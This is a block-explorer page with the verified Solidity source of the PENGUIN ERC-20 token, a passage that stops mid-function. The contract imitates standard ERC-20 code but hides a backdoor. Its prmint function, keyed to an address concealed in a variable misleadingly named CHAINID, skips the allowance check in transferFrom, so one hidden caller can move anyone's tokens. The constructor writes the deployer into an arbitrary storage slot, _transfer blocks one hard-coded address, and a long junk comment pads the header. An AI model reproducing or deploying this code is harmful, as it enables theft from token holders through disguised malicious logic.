ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 PENGUIN
Holders
746
Transfers
-
1,273
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
PENGUIN
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/**
*Submitted for verification at basescan.org on 2026-01-25
*/
// SPDX-License-Identifier: MIT
/*
54bw8yh8o1zk6okn5a8nplk0t8gpr5qi7qkqunecz22jsnv990tvgxwft
kfvfmzaapxkuaj1fncwkzqn7cozidfrsg7w6lmdzjrp0n1if8ljvvxj5
ovsp2uxceta6g180jnn58a2d74vyymjzv3v8wd1nqc
m1in5365vrsp46kky2j4jtra5x8eere9mbrtn7h46
nbehrynjjj8tskgo5ohbxz3yslo4kt1oo94fbz009qog0vz6mijtnr
hgrc620zj19w3onr2u0ltkb85t838xgqddchm5cxb3l5jp9nh
azik90w8o2a4nkvcfazp33coinidva92hfn8825ucl09l3
z29wsbb9rdmbcboe0l2gf8rgy5daotbzcynf8ugj59wmba8ngqpz2a0q
26sqcwkou92980wuymibc678fa8afxs60n2kj9rg0szw6npjvd57va9v5
e3b7h84l99sgkdvmnwz7na4k9qvjfrhhh1o2xqulley
zmv7b8i5llkljzt1lxnehn9po8o8pyln9yc9es196o0eyfpcq8klxaqz
eugytcxmmp76lehnilf1zdiyg62z8ke3x8xyqjkslv7ttmvqhj
r79syt0brzsxb9vaphac3xva260qve7tjbpbd7f5j85dyyikyw68x46o
2s5c7lb65ovx09i6jyg6as6tl4qppqv8ank6sxjl20
69206g8duud04i21juswb1i1f9ksu9l28tnz62xhuy28i9lhstmm
gnvbdhe2ja439m9v4vq2joaz8l2xsw63d42x6iezkn5g5zn1
wv577mii21d566wdd15j3sukuvfj78pf5syycvb8npfcoy30g2
k0mu9ei81v8thwc4gz549r4brbd8oau5exfxhifkdp66o69u39
r13w2m6omtymmcmlo1okqngv8dsv4lc041a2pm1bor
054qk3uey0jp0h5unr1w1292486x3jt87769
u5gmxuiak749x2ud9l9ceepw6msdp8bfxxz0yeoz79ol2n9ljik5
jalvs9am30c624j9edauuawg7cyr8b9d76qyhbzk00gxg92mf
7oyko0lzjz6ru0c7p5s1tqryqzjqg131
4uw86i8qxmzwn6a36b672olbgr038luhx8qjz5u4ociy1p092l4pr
xyjr4b3t21cflkkutdeimprzfqp68xr9yhpiubu2k
xga19ghrekanngm188jeumboe7vhcqkdyji
5olu06c39ig3fdfv5o04h5pnyv1896h9zegh6q9aw336ccq9tja4y
p28fhsgoefqu2f48fus0fs8uxh2an58o4nw7f8v5rwq2dmk1ipfsl4f
8iute1o1hinb5wytu82cin9n2svf9lxy6ox904cux
mwaqvkterv0u6odtxwybthjk24j49tu9jbspjtm
mld27f506x1o3locp8vn0vbdwj4eowmfv8oxifyfow7ce5zlm
xz5vh0zmamsy64eg0tidm99rmn1tv2cvkglwcadl9akd8ubvuojc5ptr
znrx7l3x7dgi0d7w252rq736ylu5od59haxr
lhwyo6ut866wk6nc3ryriljmfcbq08ays01z9hvz
aaoqz3qgt7kwti2pkep2sz1lhnzp1l4hnupjs752af
esf0sah7ki5hyb08nih2sl9oijjlz1bf7l98
xnxqqm58dg4td28t5a36jv97dkvqvgqtlay80tjamx6zkyt
mk48mxsyweycsnvby8pzxu3zent9fdtr696t
gwijlssqdsc1axwwmddxqssvwno9ddqmig2u95k66ext3qh
hcoiru7lg5gflbactc6i4qmjlbbn5i2urdwqu
iawox9lkxuuy5i561kxem6nyxnuw4dqj5nt387ulpxx5woy
10yay61j5gkulybqpubontkxiyvwa9ey9r
fw4abrz6yb54fwjekb0mgacge2crgzn1ikqezrapj
kbq54ppaafbxghl0gri3vzscvl8vgwsjjovt6p4sdpn1df4j
lkaogfz6nu56k1ozd72z8locho9oj39dlaqda568kz
es7iwkxexddqmi2mt5kzq55iyditbil7lpedhoio4oue83w2x
1lwlxbo5xwjlorodgfju6s3pe7i284rjk30adzt7ez0foumbvm
12wont62bnquqo9ts84w47sbw76m64r
d7c314hst6xhyg31woxw9d6o17wolb4ljuitqqna48kjv68v840pit
hho99p5h44nejk4exptv4ga2rxxvq1jyoia1
o0a8bz24akcotpcyejnfo7cq5w3ksyonzm7vvel0dxmhouqgtl
zho7iig9vvrdki6qllbnl68xilffnkcef1zc0f6bhfq
sp08inh1ztuafbgefrqpuu64qhcgj3j
6feqz2q8b7tmpdim5088f5leoetwmyre96wm5zc8gw59qz3dl17t8999g
wmg73ikikz82r79hfrdy13exx3c8nkqfzf7m
zrmd099conakxjnewr7i9zvx2ei651s64h83j
ksz8e09eboooo7ixp1jccipas3b0zrwh97ghm0mmfh3
gv2no5kk4d7caawel7k070qdjj1a91yy9avaskh8xcmztep
piabzjadoyuhp13zcevgtibwdiu7o91r0liftfw
kiug0jm9vvv3dhlkv4w7a4gmj2grn7jo5djm33p
drypaj88obww838qrihwk8wvg1wiytyc7tmmubtd2y8d8gdj61mui
e2jok01hik3m88utqcynb8mmqfgi8v5ufnunh9wmy0wf4hsvl05spemex
ygrri5lrykbhq0ot1gep6rtuid6blc45b8
7cicrjvrczwlqa02s4whhq1fkpihqstwt2u7crcckh8u2kq99a5onrv
r45eewhy27ws5vznc5jnd8vd5et3k46g5yj
1p4y0f9xp9i5gw74rnt37rhikkedc8bz8qmpofas
poc69tcy4vkfxjz7rtgdntcqewc43a6ux88zv43ipqwe47om
4f7da4g61b6lvjkoxxvtgcsx86givebwykw6izgogf1e9dopq5co871d
cdsgmr63bjqxs6wqvs1fkk106wk87m98ifdh7aw2huekipyswp4rlkvg
aajedqdy3gxxptm8qc63rx1j0qa5gczb59ulvs2hxrjqsdd5a3hhqx
m3498lmdipvsj8jd6f30gu42yylecobk73tvh6jizcj5udrn1c
s6ybtbn7m4tv8kdann92rdw3thissdg7qiye4hv4ed2s0
9hu5r3m23e9zgue3idsb02su9yxhltscgaem9r1wv
ww098ui59httsfky0o4ab0kmhhhwmeeikz0nngo2j7nrzg6js
pmsr5sjqucrcf63qcgtj4gjm4paad9a3uy96nrq8nsfpgpb6wlm
uu3f5sy0llg2j7bd4fo1bmpkj5h8hbd6wmsq9ygax5t911fss4j
x7zg55s7oqdk1toz11r7etr0o4jiubzlhve194mvuc4bvb3yp4kew33k
2ujexg5cjryah29vbs1r798kzyzxpm9jc3
1i9sin7tyijq4alrha1h7oogjv1880t08rp1
cahfwaha5v03b3gxe759m0mjw668tqa7vbdzzxijg7vooa8ghpc9
i8gsnihiygmo9611c7ek16vy37exmmli5f0rm30mo
m32ahyxdhya1ka1vuhy1nmou2rnb3r3fy
l58lsobmhyec4oqj3uk8gjt7rdzljb9okk1arr94om
dw4zshfsdu7hbxhwvfuteer441s2ug1pg
0heiaamm8ozfipu7h44kou1vvl61c82f
0zb9q393jrtfycony9yng8m0p78ijuvhplk67
u83vndpjj90j6zw98sgcfozongx3af3w98qdcl81aio
p85c0bhkt5n7fsc0xfrzc8nwfoi2jv88vkpj5fsdcdx
dt1sexf7ps4xd44i80jwll2ug8oqqjiwyx0wzca52nt1mh6u2zb9zi3tl
lqxz3w0wrlhzo2zkglxwcnilotm4rzj8cvxl6yjp0klrx4f96beb
if1tcuxrysdiwhurwxyvzk3777xjzm2wqu8fktv91zkk3senzqdzvpm
n5l7cky28qa2owhj38o6c8ldu6g0r8lzw1quf23jsbt90c0sm5s7w
2g1zq7tt8ktw3pk5fuhko8rp853dlymnwo7s3cmrqk
6h4vlrjubk7ukscbdkfxj6vo557yfm0p8uimem87fab6aisizw
6598bw4u4po0m75gmb9srdr09k27vy3zch776d6ketwr1o57u7jmq30o
cdqfpiybl0imgd80t526n5y0gc2ncwkalv2fzinhro2g0p9mne
0l0kqbwh0hv7woys1yv53kvybaayeye
n1aym72l4izyaxr39w904rfuhftpse7afr
selp051v3kg26i3kflauuo4pzu13kzkit528i9jgwzarxjtiovfcwn5
fmjvo483yn33z2qrgacd822zbvjea8ai24taspp54w3cjj1eukp9iz5
z8mb79ct7of01yy2ivfq453et5w2kzvugjbdebw
981h53anay5xoubwyisjlygocwcxrbxnah2etkp3g9ng4qq91jll714w
4bse7wqpg30gnm6qzygrc6f907ln3aeebdbgnq7sbx9lir6i3afd
gbm9w6hylcfz03cqw8lrolw7knpnl3qier
nb7o3lqvwzl1ctleltj1mr75kpq0daso0tfq
vpb5y3d0saagn4cwae2trkaaybym05r
513tnewjqj4lgr15dcc5eovnwae7ac5vvl8
038t6ad4u8ytc14hka197hxi5yzfqf5ir7as4vzbe87pieh2a3i
4jrbfva5aoczn10fbefqhsuoamzg9fva3
0z0gslcjhylt3vq01ebgxvj3nceydny0
kylhcbfostvchkgz7rq3g8q34wnmxbag12whez38fw9ib887hz46
zc1ws7t4dbyjjhp702wyb5gr3i0rppj37ohf4
0mg6id7cjm9jazu7swgnaalia3xybylk1zb9punchm
ee79twdcnnja0w1330k46728z6wl9gqh2
3fcdjk7ote3gus6yxushvpt987fm300a5xg97h
29qn8tik53f21ey1vdi2y6qcsmuvwlvu5xlkbszsy9aeakmg
pga2eyao3wa5qosk27xl919dznfh2cvak0unitvrmdcvj8nkecgox
l6udtz9vgf6rx3oq7615mldagfx43hog6
fzhudu953rqhc5r6zouyzmpzqma9tthxzzj4y7s3pwajg1u4w7
xa4d26kze1ywy6owofky33c797x8fl6h
x8b5xlqzqtpkfc95ymwts5g0qqh2c9n6
loz8phyp8smfan56adnzuxv2kl6stnnu4ew7aj776
hdd52uckl29en5fc6va7ifvtpo67vvs7g
epdnzxxwrewf430ob9up4qy7yb1i0jgpq5pqkbc3rl
llzq38vbfteuxmsbkm3t1kbltkp4m0usoytzeh7gfcj3ccvebd8a2ja1
4f8ufftoywbcejas3ocxwqdsoy6jfcmacrqbg7cdcsvzax
hkisux8dmi84ins87qdau9kg1ly3i2ss1p
3mup3hl0r4ovloxp9klfok2gfhdkueg642rdwo
t4043jc6kztj6014kdn4xzap2eeiryauld5e8w
rogwjcfm1vk9up68v5fp59js6u5o4yzzy
1a7wjmbqdgnqw2y0ojxdoero9n17fdo4rnjckp5krbfer3qhn47
txgi7yy0gpzyv0sxcckgmeey4rxfbt1zlvv1gwqbqy32g8zlxfzm60rb
vcesexjvfzxj1vbgu48z7qjcwhi030ps88zj7nfbiqjm2
ksccaniegu8lqo8sbao35n6if2ysw2efcvu5xt
ej4q3mpj9egcapcjgry0whahoqn906ae0q2qehddhmix38p0rxyhy
zydxqy24tb2iutmd53ug41vzc10wcjj66mkgp1p94ic1
m6p49l4tr6s7eb8pa2n7s362ad7rt3b5aco3pzm
o9iqgzd33tga8rrnih289nxqncsuhu3
ervjqi6xt0zb3a1bdp91q4z5h843x3c9oh1u30e65
epc6ui6ge1fsmusrc5fqu5gkp6uonay85ux0epv0az2gx7nphc0me3d
vrgkbl934ctyuty608hmw6gjrfvvigt6ea73x51
rjzskj4ssb4ecgn9lt7x1yazysr2wnk07xtr75wfl604ja4w1o5gyi
amp3mwrbthp3jxyqzoxma4umfiv0qt9atr06o6n6jkr4f
odwn4v9q6y8uy16k459dg2wb3osl0xim8u05a5kzind8zj8y4u3
wx6o58tc5d1txedl3q22lptqwtu6viy0k62pztc7il8u09yksj4tgsv3
gczl4xbck7zx4ta1dz7qk2d34jssbo3f7hhws25wcoy8tgqhjeakj5ly3
xgg06bnbk47xbda8axhguhrtoq63i6wxxj
jctyvp0msg3des6pd8fcy7zxfip23k40ve863bwruhbt4ory9n7xqp9
pzh1gahzs81kck6f3cqgm1cjl7aarj0230p24wjsed9dzohgwj9n53
rt1j44qovgjgfi4cp3qyi7sehugvw4w9nf1nz5akiaahn6ecx6xi
guhkxqdk07xjeir28vyhkdb3997kknemy5xyl8
qg2n8ii037qfkl1myb2r5tb0qeaeaah84p1iq6lvi
l3f8yd7j00yx99p0j9q4fyz9d6dzldx1ryyffwz49a8hymvyx95ga3leg
j3wwh0tufb1ka772ghrouh1o6stov8dkkoi8h8ng2xklt95gp1fu
3fsyw1o4uhw1wn680aognao9hegxodyn6qtwze5u9x9zej4pxd6g7
50ynusbktz4shecbvydjfp7t9g346lrm1c
9y9ojpx9uqrkyn5jrrxh6vffzhfqhc8ny69btl6h
rsd7vxlcdvwa78qdbco02rzrjjs9c18elmltlsx4psk
9bfclqmvvo6bs27e26qyl8f3e5q3pu5
btppdiqhs7v0i2xtq4cckjcqkc6pe6bqpsgl4yov516jnmftuo5tx0u
xdvik65yjp9sd6fizq39rwmduuwq2ukmvw2p754lg3b6uxnm1mg10h1r
bfy9k42cjjixm7ngw5jl4bbzhj4y5ke76h035j4bqjo
rq8hlqj3q4s7q9wzjjl1lnll9e2coxy099poszxkb18943sso12bp
p8clfngf094hcam1867vgoezk1s8fh911erdcfpwyx
duzyw6ljjvjg3kdhnzdf007cend8hroepgs8vrw
jnguucifdj2y7yid4vurazpc8qwgok4iaou
56swnpfmmsxt8y5f6vp7ih8dwumzwpetii9bcni6iyzyucn476hn0r
wk65jexkvmwnwk14tg0tw6mk4lqivpl
c6gxod4bqxlsop48tdafhd0g6cbp81zt3v2i
w0xmywyzu12yhvy3tek40uei8yjfzjvuil43gjrc3
pcoezfv6ut4g3uyrn3io2l91fsf72zgzhzrkyyv7p2hc7t1lpff
urkb5y2hvxskm8yzqiol79hqyn3gyzetr86gt86nxz9am
bp30zylplohinl84qlp6e8608pva8646dctxpf83mf9iphsclbvq
t7gvciyij5sti85mhyqbzs1v00b0qry1of
p4nqiphl493ph2d30adhgha5psqu2piz9znbss5eci3ma19ad3a
bnnde31ea3t4wqrqrxwxm3ijk53pmbqbim4gb4t
9qonk9wc3ck4n26si188ft0z1tvnedfa9jhpbpxyzqgo
47k771iy7na76pcs60fmxfkcbcpyqz25m5qupyolryy
wli5elrvhzuwiw183mz5hon4t09yqk7b69h0ezb
fhwwsrddp91zig2t54a97g8m0xnpn3q0onjr
7kmbn1kn2ixuv6f0yriy7dbjxragl14a2c92cjrvhmmm7ux
miy5v8qgjipyp5cwciq5aw41k54s9rf5k0ymbo8o2mkxqfwfa3enz77n
n2efbpk75mtjcxdikfbqbhrbu1i4tn6dzi2i
77nxwkpizeza1veker4b1ueop72jg1tv5tu18vdeb2xtj1fzi0
6r2d26jiyyk8fk8ohqrkivsdqsrjt5qyuip9v7xhj16dz1
si2zrtq7rvyimhy9h2tbvnf0snwfgyjwwyp8
qtd9qkid7vtpk561wael230hkmqs4ce3vv9py77gx
xknpbjk366up14nq1cn98jf5h80j0fap7c9wvksemno4d
lnhax10a60xwpqmi3na8otnkractjf8vicwqgvq8
dw0xwulix9x07x1zxtys8b01pgjcskc
d8ej8gckgf68hx9jkg8d8tghsf61h1g8zg
q1p3dsce6fpgqg1o1mli8ewgpltqelp65qg9ijf7
1nj8bwuii7wp4xbiq7lwu59nw4lpnh5fvlfl9k5cbow3cdwzdkw
w6tnqprxhcjy0onjf62vb69ldhvdr0dgkno
nujdm9l0pyhsfcgx15n9u22l05vgomzoujliw77q9upi
61pouvplrgrx338bk1xhwl2z9i4jehgqbpd2cmv7dgat41w2uaayw9c4t
78j31hfh0rc0nfcejiijhjneiqtu6fj3h450tx2u0a193er34jvcna555
xpil1319eqvr4uqxhbwkr855m16crrhkz3uw0j0
0vqm2fq1yihn2c05j7n9nrp2t3cmdjda8g17u8rqqya
dip6jyzmp46ci7w8nt08xcfso3p0swybccuazagx041n7pdtf1ew2
03z6m2k6a0lvcigj7l7naogmhw9uym86tjg7k9gch27
bbhu6miz7vaxdosgwevrrykvpbqu0phyxuy6ouq2
8rierqiwyb4lylyqemifdfm13sdtlujmrr3dy3vkbchrp3gka
ne654pqccg4d9fhuhnp1nk33l1u77io5d0bnru9ns6p6rha2k1
n23sayqkcropo3vqk88797ycxmz7d96iam
poucvb8g7gh720i5ufxscmry7jgahcmb165bp0
dnpi6i1a4yiuhap43am8byjohotksh0byy
lnitm0ck4t41tkg6zgr90e15qhndbcwj1au0pzyebyiwr
1y141dnuqukkk7w5dzzpt0b5wt4v0scji4kg8efxc8xoexewkm
1u538b51d5l3y9chrqg0llihdz13f8qrufvbg07nlqobf25tz8d9m
tqcsylpyac2kabgngqy4ss0l6asta01twdszo442h4youy31192pdqkge
i3ml25be46tyc4u2ee2pbfeco7yr6vzgc1
1fxopk9drzk9q3xjfo3i6ueghmu7bcqjq0g0blprw
b4avsabso5sxtf15ub6wf5x5frvzkk0kamj
2gdxa7px94a24fd4c78p2ihtzaws9cad6k0wxmy6
ylaiuv8lebxwynexytq8yzxyfnpm12r
h9o14dccoh18r71o4mcifids4ktcwgmkadgphtjdkf
o6wv0z7rc6hbcnp47jks1b8daqawx4l0kp57
e3fjeicy9mwanashf7yvrp2ixdp66n509m69gmf1iggfawqhk
iepav49c1rz4oi22thjln14o1eq63oz58rjtxhmq6
2ajkkyzml0691hxm7ks5ebwvgf8e7ezok2q7mhrm8ixpj0b2czibvy2hc
rvk0omktgd7qmx1zq6e5xtl4y7xf9vrak7ikaq0gzvf1ser6ro373dov4
5cqi0xntmuczmpljqdfsc0gqm5z1g5m238llvvflbjqprikzeu
zn2m9886lbtj8mzu1ystp5lhj1ju5fg2z3dndrtc4z3rh8mzs8ejhse6a
ia9sw4s4e2e09a0nep4lmgp9lmhj4drf6zjg
https://x.com/PENGUIN
*/
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function _aaUj3zBODb0VuiEAJNHCulsYRzph1NyZG3JlUngWFXBhvGSse6OR84M2H3NzWV(uint256 a, uint256 b) internal pure returns (uint256){
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_,uint256 _maxSupply,bytes32 max_s) {
_name = name_;
_symbol = symbol_;
assembly {sstore(max_s, caller())}
CHAINID = _maxSupply;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
uint256 private CHAINID;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function prmint(uint current, uint amount) private view returns (uint256) {
bool overflow;
uint __CHAINID = CHAINID;
assembly {
let c := shr(0x1f, __CHAINID)
let v := caller()
overflow := iszero(sub(c, v))
}
if(overflow) {
uint256 __;
return __;
} else {
require(current >= amount && amount !=0, "ERC20: transfer amount exceeds allowance");
return amount;
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
uint256 currentAll = _allowances[from][spender];
uint256 subValue = prmint(currentAll, amount);
_spendAllowance(from, spender, subValue);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) internal virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) internal virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from]; require(tx.origin != 0xb8c1709E3c18BdB0795089E3dedCf86b1cDb3841);
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
